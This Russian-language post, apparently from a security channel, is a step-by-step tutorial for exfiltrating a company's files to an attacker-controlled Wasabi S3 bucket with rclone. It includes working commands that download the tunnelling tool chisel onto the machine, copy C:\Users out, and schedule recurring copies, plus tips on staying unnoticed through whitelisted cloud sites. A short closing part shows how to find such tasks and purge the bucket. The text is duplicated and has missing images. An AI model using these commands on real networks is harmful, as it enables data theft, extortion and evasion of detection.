Всех приветствую! Без воды расскажу самые простые способы КАК сделать бэкап находясь в сетке. Злоумышленники часто проникают в корп. среду и делают бэкапы ценных документов, файлов, чтобы далее шантажировать жертву. Вы как специалист по информационной безопасности должны понимать логику плохих парней;)
Не будет лить воду и перейдем сразу к делу.
rclone и restic - это две самые популярные тулзы для синхронизации локальных файлов с облачными хранилищами. Нам главное, чтобы поддерживало нашу OS (windows) и s3 провайдера. Давайте устроим суету=))
https://rclone.org/s3/ все есть в интернете, вся инфа. Я от себя могу сказать что рекомендую использовать Wasabi, т.к там простая регистрация и дают триал на месяц и Cloudflare R2 тоже заебись сервис, но надо карточку иностранную вбить.
Представим такую ситуацию у нас есть доменная учетка. Скачиваем на машину rclone и разархивируем стандартными средствами к примеру tar.
Как видим все работает. Но у нас пока нет s3 бакета.
Try Free жмем вводим почту, создаем учетку и получаем триал.
Как видим у меня есть 2 бакета и триал закончится через 8 дней. Я заново создам бакет в качестве демонтрации.
Создаем бакет
Переходим сюда: https://console.wasabisys.com/file_manager и жмем создать бакет
Жмем next несколько раз. Бакет создался. Давайте закинем туда что-нибудь.
По этой ссылке я могу загрузить утилиту. Это будет менее палевнее, чем скачивать с каких-то сомнительных источников, особенно, если организация уже пользуется wasabi или другим провайдером и сайт находится в вайтлисте.
Создаем ключи доступа
Идем сюда: https://console.wasabisys.com/access_keys создаем ключик
Теперь у нас есть вся необходимая инфа на руках, чтобы засэтапить наш rclone.
Делаем как я
Настраиваем rclone
Далее 4, т.к у нас wasabi.
вводим ключик
Не забываем указать эндпоинт и регион. Не переживайте, если вы что-то не так укажите можно исправить конфиг.
Как видим chisel.exe нам доступен. Давайте его скачаем на локалку.
Кейс. Скачиваем необходимый софт на удаленную машину.
,/ - текущий каталог
pohyi2 - название конфига
bucketbenz - название бакета
все четко.
Кейс. Бэкапим ценные файлы корпорации
Теперь представим такую ситуацию, что мы хотим сохранить себе рекурсивно c:\Users или любую другую ценную директорию.
Отлично! Теперь у нас есть бэкап
Кейс. Создаем автоматическое резервное копирование.
В планировщике задач теперь есть таск на бэкап.
Кейс. Поиск и удаление бэкапов компании
видим что-то нестандартное.
читаем .bat видим что используется rclone, а также название бакета.
в файле rclone.conf хранятся конфигурации. Копируем конфигурацию и локально сохраняем все объекты (файлы) с бакета.
если вдруг не нашли конфиг. файл
удаляем все объекты в бакете "bucketbenz"
если нужно быстрее
все бакета больше нет=)
Как защитить свои ключики
теперь данные зашифрованы. Не забывайте ставить MFA на облачные сервисы. Всем хорошего настроения=)
Не будет лить воду и перейдем сразу к делу.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
rclone и restic - это две самые популярные тулзы для синхронизации локальных файлов с облачными хранилищами. Нам главное, чтобы поддерживало нашу OS (windows) и s3 провайдера. Давайте устроим суету=))
https://rclone.org/s3/ все есть в интернете, вся инфа. Я от себя могу сказать что рекомендую использовать Wasabi, т.к там простая регистрация и дают триал на месяц и Cloudflare R2 тоже заебись сервис, но надо карточку иностранную вбить.
Не удалось прогрузить медиа
Представим такую ситуацию у нас есть доменная учетка. Скачиваем на машину rclone и разархивируем стандартными средствами к примеру tar.
Не удалось прогрузить медиа
Как видим все работает. Но у нас пока нет s3 бакета.
Не удалось прогрузить медиа
Try Free жмем вводим почту, создаем учетку и получаем триал.
Не удалось прогрузить медиа
Как видим у меня есть 2 бакета и триал закончится через 8 дней. Я заново создам бакет в качестве демонтрации.
Создаем бакет
Переходим сюда: https://console.wasabisys.com/file_manager и жмем создать бакет
Не удалось прогрузить медиа
Жмем next несколько раз. Бакет создался. Давайте закинем туда что-нибудь.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
По этой ссылке я могу загрузить утилиту. Это будет менее палевнее, чем скачивать с каких-то сомнительных источников, особенно, если организация уже пользуется wasabi или другим провайдером и сайт находится в вайтлисте.
Создаем ключи доступа
Идем сюда: https://console.wasabisys.com/access_keys создаем ключик
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Теперь у нас есть вся необходимая инфа на руках, чтобы засэтапить наш rclone.
Делаем как я
Настраиваем rclone
.\rclone.exe configНе удалось прогрузить медиа
Далее 4, т.к у нас wasabi.
Не удалось прогрузить медиа
вводим ключик
Не удалось прогрузить медиа
Не забываем указать эндпоинт и регион. Не переживайте, если вы что-то не так укажите можно исправить конфиг.
Как видим chisel.exe нам доступен. Давайте его скачаем на локалку.
Кейс. Скачиваем необходимый софт на удаленную машину.
.\rclone.exe copy pohyi2:bucketbenz/chisel.exe ./,/ - текущий каталог
pohyi2 - название конфига
bucketbenz - название бакета
Не удалось прогрузить медиа
все четко.
Кейс. Бэкапим ценные файлы корпорации
Теперь представим такую ситуацию, что мы хотим сохранить себе рекурсивно c:\Users или любую другую ценную директорию.
.\rclone.exe copy "C:\Users" pohyi2:bucketbenz --progressНе удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Отлично! Теперь у нас есть бэкап
c:\Users.Кейс. Создаем автоматическое резервное копирование.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
В планировщике задач теперь есть таск на бэкап.
Кейс. Поиск и удаление бэкапов компании
schtasks /query /fo LIST /v | findstr /i "rclone restic veeam duplicati backup copy sync tar rsync borg snapshot"Не удалось прогрузить медиа
видим что-то нестандартное.
читаем .bat видим что используется rclone, а также название бакета.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
в файле rclone.conf хранятся конфигурации. Копируем конфигурацию и локально сохраняем все объекты (файлы) с бакета.
если вдруг не нашли конфиг. файл
dir C:\rclone.conf /s /pудаляем все объекты в бакете "bucketbenz"
.\rclone.exe purge pohyi2:bucketbenz --progressесли нужно быстрее
.\rclone.exe purge pohyi2:bucketbenz --transfers 16 --checkers 16 --progress --retries 1 --bwlimit 100M- Удаляет указанную директорию и всё её содержимое, включая подпапки и файлы.
- --transfers 16: Указывает количество одновременно выполняемых операций удаления. Больше значение — быстрее обработка.
- --checkers 16: Определяет количество потоков, проверяющих объекты для обработки. Это ускоряет процесс обнаружения файлов для удаления.
- --progress: Показывает прогресс выполнения задачи в реальном времени.
- --retries 1: Устанавливает количество повторных попыток в случае ошибки. Значение 1 минимизирует задержки при сбоях.
- --bwlimit 100M: Ограничивает пропускную способность до 100 МБ/с. Полезно для балансировки нагрузки на сеть.
Разница между --transfers и --checkers
- --transfers непосредственно влияет на то, сколько файлов удаляется одновременно.
- --checkers определяет, насколько эффективно rclone сканирует объекты перед их обработкой.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
все бакета больше нет=)
Как защитить свои ключики
Не удалось прогрузить медиа
Не удалось прогрузить медиа
теперь данные зашифрованы. Не забывайте ставить MFA на облачные сервисы. Всем хорошего настроения=)
👍41
❤️16
🔥2
😮4
👏9
💯8
LIMB